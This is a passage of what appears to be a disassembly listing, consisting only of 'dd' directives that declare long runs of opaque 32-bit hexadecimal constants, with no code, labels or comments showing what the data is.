		dd 0BA3B0BAEh, 0D379073Dh, 0B1F5EEDCh, 0F04CE99Eh, 0B7501272h
		dd 6B01D988h, 7A0E414Ah, 0E03A142Ch, 0C10084E9h, 507E380Fh
		dd 826BE5h, 44CAAAC6h, 0AC7D5FF8h, 6EA24200h, 4C0745C5h
		dd 88EE00FDh, 4F7BB99Eh, 2007E3Ah, 7C708630h, 0DCF280h
		dd 5CACB554h, 0D21D2A15h, 0F94AD700h, 0E234FBA7h, 9457006Dh
		dd 0D6D46260h, 800ADE0h, 0D9C89D71h, 1A47CEh, 0B3800D7Fh
		dd 3966BB8Eh, 94151F00h, 7D73C9F4h, 1C6B077Eh, 80C47A02h
		dd 27125307h, 67204754h, 0D50D1B0Fh, 8D0E740h, 0E7B16950h
		dd 0AE521F03h, 0DEBC8010h, 55E89048h, 3DDCB5Ch,	0E9FD0BB8h
		dd 70181CCh, 0A79FCh, 0C14BEF0Fh, 0BE475893h, 800BDB0Ah
		dd 9A049AD6h, 0D9C09CEDh, 0B883CDC3h, 630F1E52h, 0DD338081h
		dd 6A38CB49h, 23F79700h, 0FB067A7Fh, 19AEE1Ah, 0DAD526F9h
		dd 0F8E3CD62h, 0F3607B4Ch, 0A6CE3618h, 0DCF51E37h, 0BC38044h
		dd 9DA502C2h, 3B004DB0h, 62FF1AD5h, 23C1ACh, 388F1C33h
		dd 81BEB241h, 7A0460B0h, 0CCD1B3E2h, 2FE12DC0h,	0A0470019h
		dd 3C3B2810h, 0B200B043h, 839BBC5Eh, 3FE03DE8h,	0A300D1CAh
		dd 46E80FAh, 7000457Fh,	2271DDAFh, 3C199CEh, 0E3EA3D6h
		dd 0BEF8D57Bh, 9D00F62Eh, 0CF76BC36h, 2CFA09h, 622F88E4h
		dd 228426D2h, 0D80A9730h, 0D4A9B0h, 0F5B1A4E8h,	1CCBD57Ah
		dd 0AB1AAE01h, 45190EEBh, 5B3A60h, 0CA309640h, 3D72D2C7h
		dd 0E80066FCh, 5AE42EA3h, 5648B9h, 0FEC3DB4Bh, 683A4131h
		dd 0B64C0C00h, 0A23B934Eh, 0ECFCA011h, 5EB900B8h, 61A66F26h
		dd 57004EDDh, 19D88F9Fh, 0F53B53h, 0F7C70821h, 6E90E3EDh
		dd 0C4A1310Ah, 5292B4A0h, 55B100AAh, 5E638B8Dh,	0C1D09C0Fh
		dd 0C938E367h, 13A0D8F5h, 0F955002Dh, 0B5EDE059h, 65249214h
		dd 811F0B5Ch, 2A4A2EC0h, 0A81B0Ch, 2BAEAD4h, 0B6AFA51Dh
		dd 81D26B00h, 527E5856h, 0BDE842h, 9A36B9D4h, 8E876413h
		dd 139B03Ch, 5385F9D5h,	0D7E4E263h, 0E8BF0DEh, 90D19524h
		dd 0B6A981BDh, 60C86423h, 820084EFh, 0FFBF1141h, 2FE8D7h
		dd 222BD328h, 3B71C9EAh, 45B60B00h, 989BD069h, 74CA000Dh
		dd 0BABDF7E1h, 820E04F9h, 80438356h, 516D487Ah,	54BF030Bh
		dd 0E33B1EADh, 0B64167E8h, 69520500h, 0E0B0D5AFh, 85A301D4h
		dd 60A6C46Ah, 8681E06Dh, 3DA73800h, 0A94189A5h,	4DCE12D7h
		dd 4600EBEBh, 0F3CCE251h, 9D40024h, 7C7E6292h, 9300DE06h
		dd 4A30C21Fh, 3DA20425h, 0EC00BCABh, 0DEB9F5C0h, 8200517Fh
		dd 0FA854C2Dh, 34EF1F6h, 0CE8BDEBh, 0E788276Eh,	6D00113Eh
		dd 9DB1D62Fh, 0E069D015h, 841F0277h, 5C2D33D2h,	7AC606C0h
		dd 180C4707h, 3750DE95h, 7975DDh, 688ADA72h, 0E7D25A3Dh
		dd 9335C000h, 7FC7011Ch, 4BD400DBh, 8A688B05h, 73071211h
		dd 0ED24B82Dh, 999A5380h, 4BCE30FEh, 7CE95864h,	7F6D2D0Fh
		dd 41BB804Dh, 26C2DD49h, 0A20884h, 0E4DE0C0Ah, 7B6FE7A3h
		dd 0C36FA119h, 0ACD01D3Fh, 2E730396h, 888AA7A8h, 948003EAh
		dd 5BD77254h, 1CF0F900h, 8319308Eh, 58B35C23h, 0E78D470Fh
		dd 0BDA28960h, 440572A0h, 31FB0BB7h, 4790AC00h,	0F4247F79h
		dd 5818007Ah, 7CCF1A8Fh, 4F0E600Fh, 7C468A3h, 0BD017F8Ch
		dd 388034C0h, 3A59108Bh, 8D0015E5h, 0AEB0F462h,	0FDE17BFh
		dd 7FD2C09h, 6DA92000h,	8A000CC9h, 67E55AA5h, 28B5B8D3h
		dd 0BE01A04h, 70B6668Bh, 0E3AF0300h, 200FDCDDh,	0F47B01AAh
		dd 15EE00E4h, 341B23E4h, 5F570C79h, 4020A843h, 8567D00h
		dd 7AFE6ADAh, 0AB7C0717h, 7E5AEDE6h, 1CD4641h, 0EBBFC898h
		dd 0AAD0CE00h, 0D754F4C8h, 1CFF2C7Ch, 1B480060h, 1DF04D6Eh
		dd 0BBA6F200h, 79606AA3h, 40F100ECh, 5B21F6C3h,	99014468h
		dd 0A4BCCF5Eh, 2B601FDEh, 5C0B00E4h, 753ED27Dh,	5A00099Ch
		dd 9BBB02B2h, 7C7AFA9Fh, 2A6B007Bh, 89408363h, 0C6010688h
		dd 19A81AC2h, 21C4793Eh, 0FE23003Ah, 75501BC7h,	8D7FB5A3h
		dd 683F1E00h, 395E54E6h, 0AF9F0076h, 604B1DCEh,	2107FB93h
		dd 82A9203h, 0F903ED7h,	0D2809h, 84305F17h, 0B4743B26h
		dd 0E9FF9503h, 0C891B029h, 279376h, 0C04B1AB7h,	5CC248E1h
		dd 0B94E9500h, 4FCC61AEh, 4ADA006Dh, 0E29C0FFCh, 3C0E9158h
		dd 1B8BB7Ch, 5E45FF83h,	0E0F9C8h, 0A274113Dh, 26AD8E89h
		dd 3C3E373Bh, 4DB1803Ah, 0AAE4D925h, 92590157h,	0BD83DC15h
		dd 0FA770DAh, 3E89F801h, 0F44C9945h, 1CBFEEE0h,	0C19242A3h
		dd 0C5E30AB8h, 50BC4043h, 0C605C190h, 6533A5Eh,	74651B0h
		dd 7285D0DDh, 58483C82h, 0FA172600h, 3CF22234h,	0C6B90742h
		dd 31A41348h, 0C4825F2Bh, 0FA00460Eh, 145671Bh,	3C5B8E54h
		dd 0ED3D7C87h, 1A831300h, 0C32DC569h, 0DC1E300h, 334B6A1Dh
		dd 50C91D01h, 3AF94034h, 0E3EC6EB8h, 0BDFFEE00h, 99F178CDh
		dd 5AC31E43h, 81960074h, 0AA40F476h, 0B20039E4h, 8E18AC88h
		dd 1F9EBE1h, 0BDDEBAA1h, 0C91D6884h, 4B7920B6h,	5217C707h
		dd 45E0D9FEh, 5CE57E86h, 0EC00EFDFh, 0C8D11DC6h, 727D5DFDh
		dd 53288B00h, 880DE93Ah, 0C28D2E7Ch, 3F4C0B9Bh,	40836A87h
		dd 0AFECEA7Ah, 89639700h, 29F1754Dh, 0CD4B00E7h, 10DDB2B8h
		dd 910BAB0Ah, 1117E28h,	338E6F80h, 77C00DC0h, 0C0854A40h
		dd 9938F96Fh, 15A0300h,	6E29F61Eh, 2D801F1Bh, 235B0036h
		dd 92FE7C1Ah, 81125092h, 3B1350E5h, 0F41ED300h,	0B95C015h
		dd 72B4C27Ch, 4A037456h, 0D00DAD33h, 825C69h, 0D4DF96BBh
		dd 49C84E5Dh, 80F7A13Dh, 0C7FDD8C4h, 1D61E70Dh,	3B19F77h
		dd 0A8D2AC8Fh, 5F4D50E0h, 1EF1471Fh, 0CD25E6C0h, 0A539F8h
		dd 6A2AFACCh, 8DF79A82h, 1BE8C700h, 0CBA37463h,	53B6ACh
		dd 958A0BD4h, 7539B15Bh, 376F00E1h, 9B0D7080h, 40136057h
		dd 42C6AA9Fh, 6A1AF000h, 433A15F3h, 692A0394h, 0A3328ECh
		dd 7EB1BE2Ch, 0C1F6A200h, 7E688FBBh, 1C57732h, 0D04A0C05h
		dd 80ACD109h, 0FD39BAF4h, 0ABFAEDh, 903EBE83h, 0D5B07465h
		dd 700091E8h, 1D66B717h, 2A4006h, 7E80756Bh, 0ED95AE4Ah
		dd 12C7743Fh, 6600F715h, 0D4569DFDh, 1F380016h,	30D8853Ah
		dd 0DF0FA3AFh, 4ECEB61h, 5BC05196h, 8D3260h, 79A76D17h
		dd 522F6A25h, 67F63100h, 0B4E20BACh, 76340F91h,	0A2A0DA3Eh
		dd 0CEA856C6h, 9555A31Fh, 0A5DC8A80h, 0B6BD4Eh,	20CBA41Ch
		dd 0FBBABE84h, 6D101F60h, 6A6CD6h, 0C48D4DD4h, 0AF954F2Eh
		dd 644E5E00h, 0ED80C13Ch
		dd 0C698C0h, 5582226Ah,	456DE14Bh, 3AD1B100h, 277490AAh
		dd 60E20044h, 490D684Dh, 0CA00949Bh, 0AAC084CDh, 791D9DD4h
		dd 3815006Eh, 75916623h, 60F675Ah, 60F15251h, 24D0723Ah
		dd 0EC9909C2h, 0B980CFD3h, 287BABA8h, 425B6600h, 0CD2F7025h
		dd 203D1D23h, 0E396C021h, 0E78FD7B5h, 0C1491600h, 0BC7BBF08h
		dd 365700BDh, 854E872Eh, 910048ACh, 0E1DFA1FEh,	0BECAC8h
		dd 6D24B215h, 965666FDh, 7F3AF600h, 4B126990h, 5C7078A1h
		dd 5F00F2FAh, 0B5BA5577h, 58E4DA40h, 0D2E0B00h,	0D179C9BEh
		dd 0A79E07D8h, 80145256h, 70168884h, 0DBB3EE00h, 0AE5C6126h
		dd 564B0B65h, 1800C4D0h, 1A2C6A12h, 0DDAC0200h,	0D7D77FCh
		dd 0F8112631h, 0D4B1C24h, 0E0881E30h, 720EE2BEh, 80FE244Ch
		dd 1F3D6326h, 212060F7h, 4C0125A8h, 0DCFC0424h,	0E6026A00h
		dd 3D3B78h, 0FF6291A1h,	0B3D4BB10h, 0F329CE02h,	55A2612Ah
		dd 4FC728C0h, 8149FE00h, 0AE6C2055h, 3D7A18CCh,	0A7EA187Ch
		dd 803BE93Ch, 51824DF9h, 14BC76Dh, 0C66F3677h, 0E47FC950h
		dd 0D6070D3Ah, 85231324h, 4D38DB20h, 0D09E64E8h, 0D472C053h
		dd 0DD0FC24Ah, 0A09210BDh, 39DB1C69h, 0FAB01966h, 20A1F8CAh
		dd 2500DCD3h, 7B75C1CCh, 0A74BDDAh, 0B2D537Dh, 0F37A4390h
		dd 291C40A4h, 1CC795DBh, 80BA1AEEh, 5EF5E451h, 2EE60B6Ah
		dd 41911300h, 1B4C462Fh, 354300FCh, 864A2210h, 0B500A6CCh
		dd 0CFBD24E3h, 0F5D830h, 0BB2627C5h, 48D76DFDh,	39008B79h
		dd 9896CAAEh, 769A69h, 9DDA6AFCh, 364B7DA9h, 0F53B3E00h
		dd 0CACE4611h, 0BA8103B5h, 456184C2h, 0CD579DC8h, 37DE8200h
		dd 5A667114h, 1F6800F5h, 3CFC383Eh, 550086D3h, 0E619223Dh
		dd 3D94F8B7h, 5F00D9CCh, 51AD44E5h, 811FCA2Bh, 0E2401672h
		dd 5CE1A8B9h, 9E830031h, 22C9D6Ah, 0F3009881h, 3BA555D5h
		dd 0A82FEFh, 45A7F6DCh,	8038B0E5h, 0C5BB861Eh, 0E04E7B0Fh
		dd 32D19BACh, 0D5E50043h, 0AD5D935Ch, 4D00CC2Dh, 68977848h
		dd 3208F35h, 0E0AB95F4h, 5FEF6138h, 302ECB00h, 9600552Ah
		dd 1CF93D7h, 3A02E27Fh,	0BD02E44Dh, 0AEC6D1E6h,	18E1D860h
		dd 6846F730h, 7EFCC6Fh,	43C1231h, 643D103Eh, 50001EBBh
		dd 0FDB80229h, 0C9AED81h, 9EB3AAECh, 2E18D5C0h,	5FE0E19Dh
		dd 0A82518F5h, 0CCF211B7h, 59B4E71Fh, 0A37FFDCEh, 0C8BF2D31h
		dd 1C9BA43h, 8405FB39h,	61D0CC71h, 19D4EC6Fh, 29F42A05h
		dd 0EFC09430h, 0F1AA5h,	0D2BF91DDh, 3E806549h, 0CE4FC500h
		dd 0D401C99Ch, 0EF0B0A72h, 1E6B3D7h, 990EEB5Dh,	1A1EBF8h
		dd 0D02080E9h, 6805AD06h, 7228FC1Eh, 0A99000D5h, 0C2C1A58Bh
		dd 58003872h, 26C05D9Eh, 0CFD2C3B4h, 30836838h,	0FEE0609Ch
		dd 0E2001C7Ch, 88EDFFE3h, 15510B6Ch, 44C2E7CEh,	3BAC0A01h
		dd 0CE9D568h, 9245891Ch, 8300F0A8h, 176537FEh, 43BE05ACh
		dd 0F10CF3h, 6D6ECF3Ch,	30602875h, 0AA0DF411h, 1EDAE6AEh
		dd 0DD4FCB2Eh, 21391831h, 0DB00E482h, 3665F467h, 0F061ABA4h
		dd 0C5A944D2h, 74A2B800h, 0F7AE7A98h, 0E3EF03C3h, 0FB4C3B06h
		dd 0FE9A0E03h, 0C8F42386h, 60DC0870h, 0EE7A18FDh, 0F5045C9Bh
		dd 0F81D3552h, 586D6C00h, 7C60F296h, 0C2AE13B8h, 0E35000F6h
		dd 11EC732Fh, 7E006899h, 0A9708EA4h, 0D7613Eh, 21150838h
		dd 0E25E4F58h, 0EF9B9C02h, 0F7E344BEh, 118F6B06h, 0F20458EBh
		dd 10C0E598h, 0B6F62FE2h, 7C2000EAh, 37DB2668h,	2100F9DAh
		dd 7F58CE0Eh, 3B18CB2h,	0A1DDBCBEh, 0A6F0B779h,	9300AADAh
		dd 484E8453h, 0A87E81h,	2F7D4194h, 1AD76E16h, 0FFF13C00h
		dd 9545E8Eh, 0A7E02C01h, 88803E03h, 862F29Bh, 9301F496h
		dd 2619B14Fh, 0A8D35EEDh, 7BD353h, 0AF7D7FF2h, 95C64C5Fh
		dd 0E941D01Ch, 0A1018AC0h, 0D21947h, 0CACD3B8Eh, 9BB30A13h
		dd 0A2E16700h, 81A75DBEh, 38C600F0h, 2587C851h,	98016968h
		dd 220563CBh, 2DD0351Fh, 5EE40011h, 7C6BCE12h, 0CB3E04A9h
		dd 7D23C2Ch, 1E0BC226h,	12A0AAE1h, 7358C8h, 0E3CC7457h
		dd 98641D3Ch, 8E2E7000h, 0B6BCC95Ch, 0D58B00FCh, 495AD31Ch
		dd 0D600DC50h, 9CA55DB8h, 24F877h, 0BF1E87F2h, 4743881Ch
		dd 51E75400h, 6B2B1F11h, 0A04C0132h, 35D518FBh,	2B2D219Fh
		dd 7FA5DB0h, 1B598936h,	0B0F26788h, 730D83FFh, 8D129F15h
		dd 0F53200F0h, 655B8BA4h, 1EBD00E6h, 3CE0260Fh,	0BA0E75EEh
		dd 8078B84Dh, 0DE6D5FB1h, 2A030008h, 231D1FD9h,	0E001F910h
		dd 0E262D790h, 0DDD83DFDh, 0C9CF044Ah, 9155A7B4h, 0FB5D1824h
		dd 57C03ABBh, 284B51DDh, 0D8347FC3h, 3F7BD164h,	0BE00ED37h
		dd 0A64AE530h, 9700C9D6h, 0AC1F89B5h, 1453EEh, 304F560Fh
		dd 0AB57074Eh, 0A823441Ch, 22AE1800h, 0F416606Dh, 40C8000Ch
		dd 0EBCF840Bh, 9800B7D5h, 0C46962E0h, 0F6C7301Fh, 0E93400CDh
		dd 0D4891380h, 18008F2Ch, 7ECBB6BAh, 77723315h,	0E4F4008Ch
		dd 0DF1D0EADh, 13004695h, 2BCBD9F3h, 5FE6AFh, 0F0E04308h
		dd 68D463F9h, 0E323D100h, 30BBED79h, 0C8E90015h, 0EFC448A6h
		dd 1E0055C9h, 4CD22610h, 6D46AEh, 0B79C6EFEh, 38FC5C1Bh
		dd 77985050h, 0FB02EE1Ch, 0B07DE203h, 0C3E68079h, 33FC0782h
		dd 30421719h, 9457B622h, 10C438h, 0E737C6DEh, 7E4AEBDAh
		dd 0DC06005Dh, 3152E867h, 4B005589h, 8EAB253Bh,	0EADBA2h
		dd 0FDCE2FD4h, 0A3544857h, 45F9E500h, 7E2D028Ch, 58551C40h
		dd 0EE89C006h, 32594D01h, 0FC5AF200h, 0F7467561h, 55A000ADh
		dd 6D239151h, 4D0E9B04h, 0C03B5984h, 0F9EF4B79h, 9A5300B2h
		dd 9533A724h, 0B402D1EAh, 3E217B6Ah, 0A82443DFh, 1C513D22h
		dd 649383BFh, 18470058h, 78D11524h, 0B19E0808h,	0F9FF808Ch
		dd 6AECA5D2h, 0C14B39h,	9A84ADB6h, 7B16F35Ah, 171B00E1h
		dd 7B530918h, 8200B2FFh, 2178F803h, 7F473C6h, 0E6E79DA5h
		dd 9CB7C0F5h, 2A00F7A3h, 4AF9514Dh, 1AFB035h, 2DB179C1h
		dd 83E07243h, 0C4E28EA8h, 9CFE8D4h, 6623078Fh, 0B035B8A1h
		dd 9C67393Fh, 1C464E00h, 1365BE6Bh, 5A80006Dh, 0E5C8D044h
		dd 94000E24h, 5C70EB37h, 0C1B2CFh, 0A88A4CF9h, 0BD624391h
		dd 0D07B3D0Fh, 0E822200Bh, 9D6845h, 65D4D263h, 17744ED5h
		dd 12D79A00h, 1BEF5F3Fh, 0BBDF3DA7h, 0D67B2800h, 76C032C2h
		dd 0B2F2D200h, 51D8A3EAh, 92EE0084h, 663AA805h,	700F009h
		dd 0FA703069h, 5CDBE5E9h, 5C24CBCAh, 0B4AA14D4h, 0E4410D02h
		dd 9D602CA6h, 0EC0032B4h, 0BAC9487Ah, 0E6DC1EFBh, 71769Bh
		dd 37331FA1h, 0A7FCE3CBh, 700DD70h, 78561798h, 8D3EC5h
		dd 0BB2E981h, 86A09946h, 0AE0C5001h, 4776332Dh,	1845D8h
		dd 4321D9E1h, 0F1FFCE77h, 0EE4723Ch, 3222373h, 887AA6BAh
		dd 0E4AF2445h, 7C3A001Dh, 0B5663BF6h, 47711C5Dh, 626AD604h
		dd 18974265h, 0F6608670h, 7E30005h, 0DD189D2h, 0FB149DF0h
		dd 0C0F5EDh, 0C60F5AF3h, 0ED41105h, 22081B97h, 0A45ED781h
		dd 58108090h, 1D5533DEh, 81FF09D0h, 54008DE1h, 7B2A3D84h
		dd 32FB2D00h, 27B3FAD6h, 13F800B7h, 734E7E52h, 5114D16Dh
		dd 0ACEEEAh, 0CDA4C240h, 988119Fh, 5D0F3D16h, 24AD9D00h
		dd 0BCA0ABE0h, 9700C393h, 1280E2A0h, 9D9465C0h,	0C87B22D8h
		dd 13A9D39h, 6EEE6B3Ch,	28FC87BDh, 442036Fh, 0A49FA98Bh
		dd 7253D6E8h, 0D0B3BCA1h, 8E76DDAFh, 5523000h, 0C37E440Dh
		dd 3F1E632h, 0FE1846D9h
		dd 258840E5h, 0AF007439h, 0EC7068E2h, 1A908B2h,	914E4351h
		dd 0CCE0C259h, 9C03C82Ah, 0AA3EF392h, 0B722F8CFh, 662600D4h
		dd 2E06318Fh, 0CCF6EA24h, 0D7175900h, 0CD8BF41Dh, 5CD200B2h
		dd 3E403525h, 793F6AE1h, 0FEDF000Ch, 870DD71Ah,	28271F22h
		dd 956B40E7h, 0A2BA0790h, 0D65C3F00h, 0D02E2FEh, 2E6F0020h
		dd 3A628E3Bh, 6600A331h, 1143E4A7h, 83D360h, 0D188BAC7h
		dd 122DCD8Ch, 8E5AA801h, 6B9641A1h, 7746B420h, 30D40083h
		dd 33448D0Eh, 0B200DA69h, 4D97900Ah, 236CF9h, 9D1DE1ACh
		dd 0F4B72FF0h, 0FEA5C00h, 52A5BDAh, 59C40064h, 0E674BE15h
		dd 0C0000B3Ah, 0A701F952h, 2BAEE0h, 7ED48E62h, 7456AAA0h
		dd 9FF170h, 6B6A869Bh, 922600DCh, 2EFE7A1Ah, 0E7031DC0h
		dd 0BDBAABA9h, 5467C0FDh, 5D57003Ch, 0D0653325h, 70909326h
		dd 0CA20B00h, 0E8A6702Dh, 8E8B016Bh, 0A710D040h, 0B029FC97h
		dd 0C0E8484Ch, 2E1FBC28h, 0B04E74D3h, 0E287000Ah, 6F25A7E9h
		dd 0C300DD8Bh, 0F145033Ah, 0ECE80DCAh, 10F961FAh, 0F0E3085Ah
		dd 0C2265C19h, 0E985C85Eh, 1C87D281h, 0CE835180h, 84403A9Ah
		dd 13D69C02h, 66C03461h, 470050F1h, 4C9BA094h, 0F0350Bh
		dd 0E2CBBBBEh, 0C2C8EC3Eh, 400150D3h, 0F443CA4Bh, 336B2082h
		dd 0E848FDDBh, 2903D783h, 0D2E69823h, 82EBE805h, 0C581C018h
		dd 66DA7BA8h, 7813630Ch, 0C05D1928h, 5C2F44B0h,	0F90088A0h
		dd 0ABFBEBE9h, 3F7526A6h, 0AE80E8F8h, 2D2ACF69h, 6800C2CEh
		dd 2F9E8FA0h, 0F0E17B5Eh, 0DBFD00B1h, 0E4EEE3B2h, 0F91D6469h
		dd 86839414h, 0B77FD16Eh, 0FEA40200h, 713B0004h, 6754A9B0h
		dd 6E009023h, 763A1F55h, 27A708h, 0A6BCA5C5h, 5E78F54Ch
		dd 3228301Ch, 71537203h, 0D0B7D1C4h, 2577C180h,	66312709h
		dd 0E1C7F800h, 92D14654h, 0AB5EA41h, 0A6BB6EC2h, 2C1085A0h
		dd 5030E066h, 5F851800h, 8B208411h, 0EED7E030h,	67CC1704h
		dd 28380336h, 0E9A32D7Eh, 0EB4400Ch, 2148BDh, 0A0ECEDDCh
		dd 1C9497E6h, 0C2F84E01h, 5EE92CB7h, 19D5060h, 576178C0h
		dd 70BB51FDh, 72035B98h, 9FC4B902h, 0A7E5A0D5h,	2B381EAAh
		dd 35FA8E82h, 0CEB10400h, 0D1071CE2h, 0C0EC6A21h, 0A87DBD80h
		dd 0E3F42428h, 0F1003C2Ch, 0C516C492h, 0C67C43D2h, 0D9AC6F01h
		dd 0DB87EB85h, 60F99050h, 50489276h, 1F6011h, 1B5BF7DDh
		dd 0C4172527h, 37367607h, 0BD7061DEh, 2ECAAAEBh, 817CFDB4h
		dd 0C7758D65h, 0C0B0CBFFh, 88B0EE63h, 60E9D600h, 0F2BA94BBh
		dd 509B00E7h, 0A3B76AEh, 0B0C0EA33h, 0A6178C85h, 0E8610073h
		dd 6321EBD0h, 450A327Eh, 434FF16h, 89C3087Ch, 1C084222h
		dd 4C70D746h, 3E1700BCh, 597E93FCh, 5F0F6C6Ah, 8040D310h
		dd 0A2E5AC7Ch, 471130A1h, 15DAB930h, 0CD07BA77h, 4E682E82h
		dd 1D8B08C0h, 0AA3B0094h, 4552D876h, 202BD2Dh, 0A1965192h
		dd 0CB0448ABh, 9D410023h, 9AE22F54h, 9C007B43h,	903994B9h
		dd 150C3Bh, 876018C2h, 0F8AEC101h, 58B5D3Fh, 2C46D395h
		dd 0C089A481h, 0C7FC5081h, 0F43A7A71h, 64F46169h, 8058DA39h
		dd 0D6D89E30h, 6BC1B6Eh, 8F484639h, 0B453F08Dh,	9878120h
		dd 0C10859BCh, 0BF8D38h, 9C3BB886h, 0DEDFDCCh, 4495FC07h
		dd 0C2E6E0D0h, 0C133A8A1h, 9EF3E03Ch, 74AD9A1Ch, 2BB9FBC0h
		dd 1B9D55F5h, 88664158h, 763A3827h, 0BD6400EFh,	333F721h
		dd 3065E3Bh, 3842DAD6h,	28597CE3h, 0D88A09h, 0A5A7B23Eh
		dd 4D43C51Fh, 99F83100h, 78AFF08h, 61D3072Bh, 10A348AEh
		dd 2F94F405h, 0A113B800h, 0F6F9CBB5h, 0A546038Dh, 1ACC79C2h
		dd 39EA6101h, 0AB2F0DD9h, 9C92891h, 2745E4C3h, 0F11CDC14h
		dd 0CC29009Dh, 0E098158Ch, 600B858h, 5F4578A8h,	18D55236h
		dd 8874E3F3h, 8CFA98C3h, 24F6BE00h, 70C13815h, 0D112634Dh
		dd 2900FC7Ah, 2CA99C89h, 3BBA84D4h, 498AAB5h, 26C4D12Eh
		dd 0E63A7E00h, 23051691h, 0BB770012h, 2B7A5D83h, 90090C1Dh
		dd 12D51103h, 37C40654h, 0FCCC0FE0h, 5C80065Dh,	3295C934h
		dd 3B5613Ch, 60BFF69Eh,	151E90CFh, 0CBBD067Ah, 0F686E96Eh
		dd 809AE82Ah, 0AD54427Eh, 79FA7298h, 5A2D5300h,	46AE94E9h
		dd 31433054h, 0B9A1E621h, 0BD9F7012h, 97BB440h,	77E071C6h
		dd 2812FE51h, 20541DD5h, 6200C1AFh, 490835E6h, 17B91F2h
		dd 8F57A2DBh, 2588AE28h, 0D751A68Ch, 38139930h,	0DE5E00F2h
		dd 104C836Fh, 0E51CAAA1h, 0CC40B6BEh, 98AD3E82h, 0D7E6010Dh
		dd 0AF398812h, 9A66DC6Ah, 74C0F627h, 0B5270131h, 0E4216FE5h
		dd 83F79B60h, 0F9DB7570h, 7A80A43h, 42DC0E68h, 8A2FADD7h
		dd 9D3D7476h, 3A10CBB0h, 310A3518h, 49032DC3h, 0E512B6BAh
		dd 0A077DAF3h, 9D6CA1FCh, 0D091810h, 2C3C5049h,	7D25BC01h
		dd 90DFF482h, 0E4BD1980h, 3A8DD6F6h, 48600C00h,	96E9DE21h
		dd 992A00ECh, 5E5FFD9Bh, 823151C6h, 61B0C136h, 189F5442h
		dd 0F01D38C7h, 47C35283h, 3E69B5C9h, 0C280E928h, 2C3A3371h
		dd 9A02DB68h, 8742BDB8h, 0F99C6881h, 0D993F1E5h, 546C20DCh
		dd 593EC079h, 5D6E805Eh, 2165BCFAh, 61203F4Ch, 41A22598h
		dd 3D44E4E6h, 994A1FBCh, 37F54711h, 10BFA7D2h, 906B58A9h
		dd 4C1C7C0Bh, 33468077h, 0FFD4EA06h, 0AED6D04Ch, 2C0544B8h
		dd 0C7063100h, 3EC6FDD5h, 0C081060Bh, 7953EAB7h, 0BCE70C0Fh
		dd 158B8044h, 98491467h, 17A51C8Ah, 0E631C0CFh,	813FE965h
		dd 69FF0B09h, 0BB58201Eh, 79C27BD6h, 46AB00F0h,	990E5D01h
		dd 8212FF7Ah, 0F8307706h, 0A7BC1EEh, 4BBD1398h,	8A6483C4h
		dd 0F29B29FEh, 2A6626B0h, 83AD5B18h, 757D6D21h,	7EFF00C5h
		dd 0CBD2E4D5h, 520FE6CDh, 20894CFCh, 0AAD8C213h, 88EA9Bh
		dd 0F3E969A4h, 545DF98Ch, 0C4E44024h, 5594B140h, 0ADBF01CAh
		dd 7937CCAAh, 23D8885Bh, 51570E82h, 41F93118h, 0E94C24FDh
		dd 0D8DE4E00h, 5DF73D68h, 0BE070F12h, 52825A17h, 0A4A130EAh
		dd 0C81AE058h, 9100A350h, 0C605D0DFh, 526CABCAh, 8041D46Eh
		dd 4CC3D40Ch, 0C6C82CE5h, 60C1AE42h, 8037F4CCh,	300AB64h
		dd 320F3054h, 0A74A36h,	8CE2C975h, 0E964EEAFh, 0EAC94760h
		dd 80BD5070h, 0AD003C46h, 0F824EB01h, 163177A5h, 1F40255h
		dd 9D5007A4h, 78E8A459h, 12BCB615h, 504F67FDh, 3166A086h
		dd 0B283D2h, 9E5D7F5Bh,	0BC8FEC1Dh, 0B5E0205h, 0F432757Ah
		dd 2EEC6123h, 0A3B94040h, 0E9E81878h, 633FE951h, 9C710AEEh
		dd 0B1D17E00h, 9BE1C2CBh, 8A7718D9h, 0B5D29160h, 97220085h
		dd 0D8EFCF2Eh, 0FC8338h, 534A784Bh, 0A959D98h, 0AE7152C8h
		dd 9CE8D0B8h, 60076A24h, 0A0DF0180h, 1ED4A1EDh,	0C752576Dh
		dd 50547848h, 0FD0C2BD9h, 0BBF4F201h, 2CB9B10Dh, 0C675130h
		dd 8B6505D5h, 5600FBD0h, 9F33B417h, 2812F28Fh, 42C82084h
		dd 0DD05154Bh, 0AD1105E4h, 43874407h, 0D95A8A70h, 0ED0F01F6h
		dd 0D30C5485h, 2832EAh,	1F457314h, 0E82F9F3Ch, 0DC2A008Dh
		dd 0CE231DAAh, 3477ECDAh, 0F8C56C2Ch, 2601C021h, 42F34E8Ch
		dd 0D8166022h, 30DA1374h, 9CBE37C4h, 9F79248h, 0A9177E13h
		dd 24388E5Ch, 748212AEh, 1D44466h, 10D02304h, 341105D8h
		dd 0A3002E2Ch, 0F360C6BEh, 1E4B1CBh, 0B6B8BC54h, 23670F75h
		dd 70EB00C4h, 4D156D6Ah, 24BC90CDh, 8074EECCh, 116B1928h
		dd 210BFD20h, 1AC6F93h,	8BFF3290h, 1D006436h, 4E495FDFh
		dd 9D126F71h, 200BF537h
		dd 0ABB8AFBCh, 526C100Ah, 3A6B0335h, 0C2142EE0h, 16646298h
		dd 7722800Bh, 0D7BC9008h, 60E4F2F9h, 0CAD89896h, 880A07F3h
		dd 0F0660308h, 0D2690287h, 0E0471AB0h, 136400F6h, 8E5CEB9h
		dd 3C987EE3h, 18A02CFEh, 0B755DB7Ah, 0BE4DF1A8h, 14EA2EA1h
		dd 31C0E802h, 0FA404823h, 60201DA1h, 0BA80BBC6h, 0E6ADEEA8h
		dd 9D2C4AC4h, 1F1E60B9h, 751A94C1h, 398B2666h, 0A8103F3Ch
		dd 8D0270E2h, 0B24D3409h, 0EA28C6D2h, 0C4601355h, 0E15200C0h
		dd 0D731EEDEh, 0BF6FFF01h, 0FD4C2C4Eh, 46068342h, 0F0CC5C20h
		dd 82A6FEC3h, 0B0640E98h, 0F5798600h, 6F4FF705h, 0A1B2026Dh
		dd 9AA72423h, 0C0385CE4h, 3333D0Eh, 0A4B0554Eh,	60F40BF3h
		dd 0C42545FBh, 378CB09h, 0BF344FB5h, 662EF8A3h,	4C640293h
		dd 5A87514Dh, 0D9A2C8E0h, 4E04B201h, 705537Ah, 0ACBE8050h
		dd 0F2A0027h, 0BB963437h, 9C04B281h, 0E0E5D4BFh, 0B4FB3490h
		dd 0E36D0EB5h, 91208425h, 4858166Ah, 4F8E4C05h,	0B4453B51h
		dd 0A04439DFh, 97C0E335h, 34B781h, 33AA8FC9h, 4EB484A1h
		dd 1CC8172Eh, 0D2121A60h, 0D0008264h, 0D7577569h, 0EAA1F107h
